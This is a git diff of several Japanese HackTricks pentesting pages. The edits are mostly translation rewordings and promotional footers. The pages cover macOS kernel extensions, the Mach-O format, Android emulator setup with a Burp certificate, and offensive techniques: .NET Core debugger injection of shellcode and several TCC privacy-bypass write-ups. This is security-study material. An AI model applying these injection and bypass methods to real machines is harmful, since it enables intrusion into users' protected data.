<figure><img src="../../../../.gitbook/assets/image (4) (1) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
次のエクスプロイトの例再度、参照から取得を確認して、エクスプロイトの2つのパートを見てください。
@ -150,10 +150,10 @@ return 0;
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>

View file

@ -8,7 +8,7 @@
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をチェックしてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションです。
* [**PEASSとHackTricksの公式スワッグ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) **Discordグループ**または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローしてください。
* [**hacktricks repo**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)にPRを送信して、ハッキングのヒントを共有してください。
* [**hacktricks repo**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)にPRを送信して、ハッキングのトリックを共有してください。
</details>
@ -22,12 +22,12 @@
* **リカバリーモード**に入ると、カーネル拡張のロードが**許可される**必要があります。
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
* カーネル拡張は、**カーネルコード署名証明書**で**署名されている必要があります**。この証明書は**Apple**によってのみ発行されます。Appleは、**企業**と**必要性**を詳細に検します。
* カーネル拡張はまた、**ノタリゼーション**を受ける必要があります。Appleは、マルウェアを検出するためにそれを検証できます。
* カーネル拡張は、**カーネルコード署名証明書**で**署名されている必要があります**。この証明書は**Apple**によってのみ発行されます。Appleは、**企業**と**必要性**を詳細に検します。
* カーネル拡張はまた、**ノタリゼーション**されている必要があります。Appleは、マルウェアを検出するためにそれを検証できます。
* その後、**ルートユーザー**がカーネル拡張をロードでき、パッケージ内のファイルはルートに所属する必要があります。
* ロードプロセス中、パッケージは保護されたルートなしの場所に準備される必要があります:`/Library/StagedExtensions``com.apple.rootless.storage.KernelExtensionManagement`権限が必要です)
* ロードプロセス中、パッケージはルートなしの保護された場所に準備される必要があります:`/Library/StagedExtensions``com.apple.rootless.storage.KernelExtensionManagement`権限が必要です)
* 最後に、ロードを試みると、[**ユーザーに確認の要求が表示されます**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html)。承認されると、コンピュータを**再起動**してロードする必要があります。
### ロードプロセス
@ -42,7 +42,7 @@ Catalinaでは、次のようになります興味深いことに、**検証
* **`syspolicyd`**との通信を行い、カーネル拡張をロードできるかどうかを確認します。
3. **`syspolicyd`**は、カーネル拡張が以前にロードされていないかどうかを**ユーザーに尋ねます**。
3. **`syspolicyd`**は、カーネル拡張が以前にロードされていない場合、**ユーザーに尋ねます**。
* **`syspolicyd`**は結果を**`kextd`**に伝えます。
@ -62,7 +62,7 @@ kextdが利用できない場合、kextutilも同じチェックを実行でき
* **サイバーセキュリティ企業**で働いていますか? HackTricksであなたの企業を宣伝したいですかまたは、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をご覧ください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をチェックしてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションです。
* [**PEASSとHackTricksの公式スワッグ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) **Discordグループ**または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/h
* [**💬**](https://emojipedia.org/speech-balloon/) **Discordグループ**または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)** **と** [**hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)** にPRを送ることで、あなたのハッキングのテクニックを共有してください。
</details>

View file

@ -7,8 +7,8 @@
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出**してください。
</details>
@ -76,13 +76,13 @@ capabilities PTR_AUTH_VERSION USERSPACE 0
または[Mach-O View](https://sourceforge.net/projects/machoview/)ツールを使用することもできます:
<figure><img src="../../../.gitbook/assets/image (5) (1) (1) (3).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (5) (1) (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
おそらく考えているように、通常、2つのアーキテクチャ用にコンパイルされたユニバーサルバイナリは、1つのアーキテクチャ用にコンパイルされたものの**サイズが2倍**になります。
通常、2つのアーキテクチャ用にコンパイルされたユニバーサルバイナリは、1つのアーキテクチャ用にコンパイルされたものの**サイズが2倍**になります。
## **Mach-Oヘッダー**
ヘッダーには、ファイルをMach-Oファイルとして識別するためのマジックバイトや、ターゲットアーキテクチャに関する情報など、ファイルに関する基本情報が含まれています。次のコマンドで確認できます:`mdfind loader.h | grep -i mach-o | grep -E "loader.h$"`
ヘッダーには、ファイルを識別するためのマジックバイトや、ターゲットアーキテクチャに関する情報など、ファイルに関する基本情報が含まれています。次のコマンドで確認できます:`mdfind loader.h | grep -i mach-o | grep -E "loader.h$"`
```c
#define MH_MAGIC 0xfeedface /* the mach magic number */
#define MH_CIGAM 0xcefaedfe /* NXSwapInt(MH_MAGIC) */
@ -172,7 +172,7 @@ int32_t initprot; /* initial VM protection */
<figure><img src="../../../.gitbook/assets/image (2) (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
このヘッダーは、それに続くヘッダーの数を定義しています:
このヘッダーは、それに続くヘッダーのセクションの数を定義しています:
```c
struct section_64 { /* for 64-bit architectures */
char sectname[16]; /* name of this section */
@ -195,7 +195,7 @@ uint32_t reserved3; /* reserved */
もし、**セクションオフセット**0x37DCに**アーキテクチャが始まるオフセット**(この場合は`0x18000`)を**追加**すると、`0x37DC + 0x18000 = 0x1B7DC`となります。
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
また、**コマンドライン**からも**ヘッダ情報**を取得することが可能です。
```bash
@ -203,19 +203,19 @@ otool -lv /bin/ls
```
このコマンドによって読み込まれる一般的なセグメントは次のとおりです:
* **`__PAGEZERO`**:カーネルに対して、**アドレスゼロをマップ**しないように指示します。このページは**読み取り、書き込み、実行ができない**ようになっています。構造体内のmaxprotとminprot変数はゼロに設定され、このページには**読み書き実行の権限がない**ことを示しています。
* **`__PAGEZERO`**:カーネルに対して、**アドレスゼロをマップ**しないように指示します。このセグメントは、読み取り、書き込み、実行ができないようにするために、構造体内のmaxprotとminprot変数がゼロに設定されます。
* この割り当ては、**NULLポインタの逆参照の脆弱性を軽減**するために重要です。
* **`__TEXT`****実行可能な**コードと**読み取り専用**のデータが含まれています。このセグメントの一般的なセクション:
* **`__TEXT`****実行可能なコード**と**読み取り専用のデータ**を含んでいます。このセグメントの一般的なセクションは次のとおりです
* `__text`:コンパイルされたバイナリコード
* `__const`:定数データ
* `__cstring`:文字列定数
* `__stubs`と`__stubs_helper`:ダイナミックライブラリの読み込みプロセス中に関与します。
* **`__DATA`****書き込み可能な**データが含まれています。
* **`__DATA`****書き込み可能な**データを含んでいます。
* `__data`:初期化されたグローバル変数
* `__bss`:初期化されていない静的変数
* `__objc_*`\_\_objc\_classlist、\_\_objc\_protolistなどObjective-Cランタイムで使用される情報
* **`__LINKEDIT`**リンカdyldのための情報を含ます。「シンボル、文字列、および再配置テーブルエントリ」などです。
* **`__OBJC`**Objective-Cランタイムで使用される情報を含ます。ただし、この情報は\_\_DATAセグメント内のさまざまな\_\_objc\_\*セクションにも見つかる場合があります。
* **`__LINKEDIT`**リンカdyldのための情報を含んでいます。「シンボル、文字列、および再配置テーブルエントリ」などです。
* **`__OBJC`**Objective-Cランタイムで使用される情報を含んでいます。ただし、この情報は\_\_DATAセグメント内のさまざまな\_\_objc\_\*セクションにも見つかる場合があります。
### **`LC_MAIN`**
@ -232,9 +232,9 @@ Macho-Oファイルの**コード署名に関する情報**が含まれていま
### **`LC_LOAD_DYLIB`**
このロードコマンドは、Mach-Oバイナリが必要とする**動的ライブラリの依存関係**を記述します。Mach-Oバイナリが必要とする**各ライブラリ**に対してLC\_LOAD\_DYLIBロードコマンドがあります。
このロードコマンドは、Mach-Oバイナリが必要とする**動的ライブラリの依存関係**を記述します。Mach-Oバイナリが必要とする各ライブラリには、LC\_LOAD\_DYLIBロードコマンドがあります。
* このロードコマンドは、**`dylib_command`**型の構造体実際の依存する動的ライブラリを記述するstruct dylibを含むです。
* このロードコマンドは、実際の依存する動的ライブラリを記述する**`dylib_command`**型の構造体です。
```objectivec
struct dylib_command {
uint32_t cmd; /* LC_LOAD_{,WEAK_}DYLIB */

View file

@ -4,7 +4,7 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
@ -16,12 +16,12 @@
### **デバッグセッションの確立** <a href="#net-core-debugging" id="net-core-debugging"></a>
[**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp)は、デバッガからデバッギーへの**通信**を処理する責任があります。\
[**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp)は、デバッガからデバッギーへの**通信**を処理する責任を持っています。\
これは、[dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127)で[**twowaypipe.cpp#L27**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27)を呼び出すことで、.Netプロセスごとに2つの名前付きパイプを作成します1つは**`-in`**で終わり、もう1つは**`-out`**で終わり、残りの名前は同じになります)。
したがって、ユーザーの**`$TMPDIR`**に移動すると、.Netアプリケーションをデバッグするために使用できる**デバッグ用のFIFO**を見つけることができます。
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
関数[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259)は、デバッガからの通信を処理します。
@ -160,22 +160,22 @@ return true;
}
```
このために使用されるPOCコードは[こちら](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5)で見つけることができます。
この操作を行うために使用されるPOCコードは[こちら](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5)で見つけることができます。
### .NET Coreコードの実行 <a href="#net-core-code-execution" id="net-core-code-execution"></a>
最初に、実行するためのシェルコードを保存するために**`rwx`**で実行されているメモリ領域を特定する必要があります。これは簡単に次のコマンドで行うことができます:
最初に、実行するためのシェルコードを保存するために**`rwx`**で実行されているメモリ領域を特定する必要があります。これは簡単に次のコドで行うことができます:
```bash
vmmap -pages [pid]
vmmap -pages 35829 | grep "rwx/rwx"
```
次に、実行をトリガーするためには、関数ポインタが上書きされる場所を知る必要があります。.NET CoreランタイムがJITコンパイルのためのヘルパー関数を提供するために使用する**Dynamic Function Table (DFT)**内のポインタを上書きすることが可能です。サポートされている関数ポインタのリストは、[`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h)内で見つけることができます。
x64バージョンでは、**シグネチャハンティング**テクニックを使用して、**`libcorclr.dll`**内のシンボル**`_hlpDynamicFuncTable`**への参照を検索することで、これを簡単に行うことができます。次に、このポインタを参照解除することができます。
x64バージョンでは、**シグネチャハンティング**テクニックを使用して、**`libcorclr.dll`**内のシンボル**`_hlpDynamicFuncTable`**への参照を検索することで、これを簡単に行うことができます。次に、この参照をデリファレンスすることができます。
<figure><img src="../../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
残る作業は、シグネチャ検索を開始するためのアドレスを見つけることです。これには、別の公開されたデバッガ関数**`MT_GetDCB`**を利用します。これにより、ターゲットプロセスに関する有用な情報がいくつか返されますが、今回の場合は、**`m_helperRemoteStartAddr`**というヘルパー関数のアドレスが含まれるフィールドに興味があります。このアドレスを使用することで、ターゲットプロセスのメモリ内に**`libcorclr.dll`が配置されている場所**を知ることができ、DFTの検索を開始することができます。
残る作業は、シグネチャ検索を開始するためのアドレスを見つけることです。これには、別の公開されたデバッガ関数**`MT_GetDCB`**を利用します。これにより、ターゲットプロセスに関する有用な情報がいくつか返されますが、私たちの場合は、**`m_helperRemoteStartAddr`**というヘルパー関数のアドレスが含まれるフィールドに興味があります。このアドレスを使用することで、ターゲットプロセスのメモリ内に**`libcorclr.dll`が配置されている場所**を知ることができ、DFTの検索を開始することができます。
このアドレスを知ることで、関数ポインタを自分のシェルコードで上書きすることが可能です。
@ -193,6 +193,6 @@ PowerShellにインジェクトするために使用される完全なPOCコー
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>

View file

@ -141,17 +141,17 @@ $> ls ~/Documents
ートはTCCで保護された場所にアクセスできますが、ートが作成されると、これは**保護されていない場所に作成されます**。したがって、ノートに保護されたファイルをコピーするようにノートに依頼し、その後ファイルにアクセスすることができます:
<figure><img src="../../../../.gitbook/assets/image (6).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
### CVE-2021-XXXX - トランスロケーション
ライブラリ`libsecurity_translocate`を使用したバイナリ`/usr/libexec/lsd`は、`com.apple.private.nullfs_allow`というエンタイトルメントを持っており、これにより**nullfs**マウントを作成し、`com.apple.private.tcc.allow`というエンタイトルメントを持っていて、**`kTCCServiceSystemPolicyAllFiles`**ですべてのファイルにアクセスできます。
ライブラリ`libsecurity_translocate`を使用したバイナリ`/usr/libexec/lsd`は、`com.apple.private.nullfs_allow`というエンタイトルメントを持っており、これにより**nullfs**マウントを作成でき、`com.apple.private.tcc.allow`というエンタイトルメントを持っており、**`kTCCServiceSystemPolicyAllFiles`**ですべてのファイルにアクセスできます。
"Library"に検疫属性を追加し、**`com.apple.security.translocation`** XPCサービスを呼び出すことで、Libraryを**`$TMPDIR/AppTranslocation/d/d/Library`**にマッし、Library内のすべてのドキュメントに**アクセス**することができました。
"Library"に検疫属性を追加し、**`com.apple.security.translocation`** XPCサービスを呼び出すことで、Libraryを**`$TMPDIR/AppTranslocation/d/d/Library`**にマッピングし、Library内のすべてのドキュメントに**アクセス**することができました。
### SQLトレース
環境変数**`SQLITE_AUTO_TRACE`**が設定されている場合、ライブラリ**`libsqlite3.dylib`**はすべてのSQLクエリを**ログ**に記録します。多くのアプリケーションがこのライブラリを使用していため、すべてのSQLiteクエリをログに記録することができました。
環境変数**`SQLITE_AUTO_TRACE`**が設定されている場合、ライブラリ**`libsqlite3.dylib`**はすべてのSQLクエリを**ログ**に記録し始めます。多くのアプリケーションがこのライブラリを使用していため、すべてのSQLiteクエリをログに記録することができました。
いくつかのAppleアプリケーションは、TCCで保護された情報にアクセスするためにこのライブラリを使用していました。
```bash
@ -164,7 +164,7 @@ rootとしてこのサービスを有効にすると、**ARDエージェント
## プラグインによるバイパス
プラグインは通常、ライブラリやplist形式の追加コードであり、**メインアプリケーションによってロード**され、そのコンテキストで実行されます。したがって、メインアプリケーションがTCCの制限されたファイルにアクセスできる場合許可された権限やエンタイトルメントを介して、**カスタムコードもそれを持つ**ことになります。
プラグインは通常、ライブラリやplist形式の追加コードであり、**メインアプリケーションによってロード**され、そのコンテキストで実行されます。したがって、メインアプリケーションがTCCの制限されたファイルにアクセスできる場合許可された権限やエンタイトルメントを介して、**カスタムコードもそれを持つ**ことになります。
### CVE-2020-27937 - Directory Utility
@ -249,11 +249,11 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox
</dict>
</plist>
```
詳細な情報については、[**元のレポートをチェックしてください**](https://wojciechregula.blog/post/how-to-rob-a-firefox/)。
詳細については、[**元のレポートをチェックしてください**](https://wojciechregula.blog/post/how-to-rob-a-firefox/)。
### CVE-2020-10006
バイナリ `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` には、**`com.apple.private.tcc.allow`** と **`com.apple.security.get-task-allow`** の権限があり、プロセス内にコードを注入し、TCC の特権を使用することができました。
バイナリ `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` には、**`com.apple.private.tcc.allow`** と **`com.apple.security.get-task-allow`** の権限があり、プロセス内にコードを注入して TCC 権限を使用することができました。
### CVE-2023-26818 - Telegram
@ -265,7 +265,7 @@ Telegram には、`com.apple.security.cs.allow-dyld-environment-variables` と `
### ターミナルスクリプト
テック系の人々が使用するコンピュータでは、ターミナルに **Full Disk Access (FDA)** を与えることが一般的です。そして、それを使用して **`.terminal`** スクリプトを呼び出すことができます。
ターミナルには、**Full Disk Access (FDA)** を与えることが一般的です。少なくとも、テック系の人々が使用するコンピュータではそうです。そして、それを使用して **`.terminal`** スクリプトを呼び出すことができます。
**`.terminal`** スクリプトは、次のようなコマンドを **`CommandString`** キーで実行する plist ファイルです:
```xml
@ -363,15 +363,15 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null")
**`/var/db/locationd/clients.plist`**には、**位置情報サービスにアクセスを許可されたクライアント**を示す第3のTCCデータベースがあります。\
フォルダ**`/var/db/locationd/`はDMGのマウントから保護されていなかった**ため、独自のplistをマウントすることが可能でした。
## スタートアップアプリによる
## スタートアップアプリによる方法
{% content-ref url="../../../macos-auto-start-locations.md" %}
[macos-auto-start-locations.md](../../../macos-auto-start-locations.md)
{% endcontent-ref %}
## grepによる
## grepによる方法
いくつかの場合、ファイルには電子メール、電話番号、メッセージなどの機密情報が保護されていない場所に保存されることがありますこれはAppleの脆弱性としてカウントされます)。
いくつかの場合、ファイルには電子メール、電話番号、メッセージなどの機密情報が保護されていない場所に保存されることがありますこれはAppleの脆弱性と見なされます)。
<figure><img src="../../../../.gitbook/assets/image (4) (3).png" alt=""><figcaption></figcaption></figure>

View file

@ -50,15 +50,15 @@ Android Studioをインストールしている場合は、メインプロジェ
<figure><img src="../../.gitbook/assets/image (671).png" alt="" width="188"><figcaption></figcaption></figure>
_**使用したい電話機を選択**_ し、_**次へ**_ をクリックします。
_**使用する携帯電話を選択**_ し、_**次へ**_ をクリックします。
{% hint style="warning" %}
Playストアがインストールされた電話が必要な場合は、Playストアのアイコンが表示されているものを選択してください
Playストアがインストールされた携帯電話が必要な場合は、Playストアのアイコンが表示されているものを選択してください
![](<../../.gitbook/assets/image (672).png>)
{% endhint %}
現在のビューでは、電話が実行するAndroidイメージを**選択してダウンロード**することができます。
現在のビューでは、携帯電話が実行するAndroidイメージを**選択してダウンロード**することができます。
<figure><img src="../../.gitbook/assets/image (673).png" alt="" width="375"><figcaption></figcaption></figure>
@ -69,13 +69,13 @@ Playストアがインストールされた電話機が必要な場合は、Play
### 仮想マシンの実行
実行するには、単純に _**開始ボタン**_ を押します。
実行するには、_**開始ボタン**_ を押します。
![](<../../.gitbook/assets/image (334).png>)
## コマンドラインツール
まず、使用する電話を**決定する必要があります**。可能な電話のリストを表示するには、次のコマンドを実行します:
まず、使用する携帯電話を**決定する必要があります**。可能な携帯電話のリストを表示するには、次のコマンドを実行します:
```
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list device
@ -226,7 +226,7 @@ Playストアでデバイスをダウンロードした場合、直接ルート
$ adb root
adbd cannot run as root in production builds
```
[rootAVD](https://github.com/newbit1/rootAVD)を[Magisk](https://github.com/topjohnwu/Magisk)と一緒に使用して、それをルート化することができました(例えば、[**このビデオ**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **または** [**このビデオ**](https://www.youtube.com/watch?v=qQicUW0svB8)を参照してください)。
[rootAVD](https://github.com/newbit1/rootAVD)と[Magisk](https://github.com/topjohnwu/Magisk)を使用して、それをルート化することができました(例えば、[**このビデオ**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **または** [**このビデオ**](https://www.youtube.com/watch?v=qQicUW0svB8)を参照してください)。
## 仮想マシンにBurp証明書をインストールする
@ -234,7 +234,8 @@ adbd cannot run as root in production builds
![](<../../.gitbook/assets/image (367).png>)
**証明書をDer形式でエクスポート**し、それを**Androidが理解できる形式に変換**しましょう。注意点として、**AVDのAndroidマシンでburp証明書を設定するには、このマシンを`-writable-system`オプションで実行する必要があります。**例えば、次のように実行できます:
**証明書をDer形式でエクスポート**し、それを**Androidが理解できる形式に変換**しましょう。注意してください。**AVDのAndroidマシンでburp証明書を設定するには、このマシンを`-writable-system`オプションで実行する必要があります。**
例えば、次のように実行できます:
{% code overflow="wrap" %}
```bash
@ -257,29 +258,29 @@ adb reboot #Now, reboot the machine
```
{% endcode %}
**マシンが再起動を完了すると**、バープ証明書はそれによって使用されます!
**マシンが再起動を完了すると**、Burp証明書はそれによって使用されます!
## Magiscを使用してバープ証明書をインストールする
## Magiscを使用してBurp証明書をインストールする
デバイスをMagiscでルート化した場合おそらくエミュレータ、そしてファイルシステムが読み取り専用であり、書き込み可能にリマウントできないため、前の手順に従うことができない場合は、別の方法があります。
[**このビデオ**](https://www.youtube.com/watch?v=qQicUW0svB8)で説明されているように、次の手順を実行する必要があります。
1. **CA証明書をインストールする**DER形式のバープ証明書をモバイルにドラッグ&ドロップし、拡張子を`.crt`に変更してダウンロードフォルダに保存し、「証明書をインストール」->「CA証明書」に移動します。
1. **CA証明書をインストールする**DER形式のBurp証明書をモバイルにドラッグ&ドロップし、拡張子を`.crt`に変更してダウンロードフォルダに保存し、`証明書をインストール` -> `CA証明書`に移動します。
<figure><img src="../../.gitbook/assets/image (1).png" alt="" width="164"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
* 証明書が正しく保存されたことを確認するために、「信頼された証明書」->「ユーザー」に移動します。
* 証明書が正しく保存されたことを確認するために、`信頼された証明書` -> `ユーザー`に移動します。
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
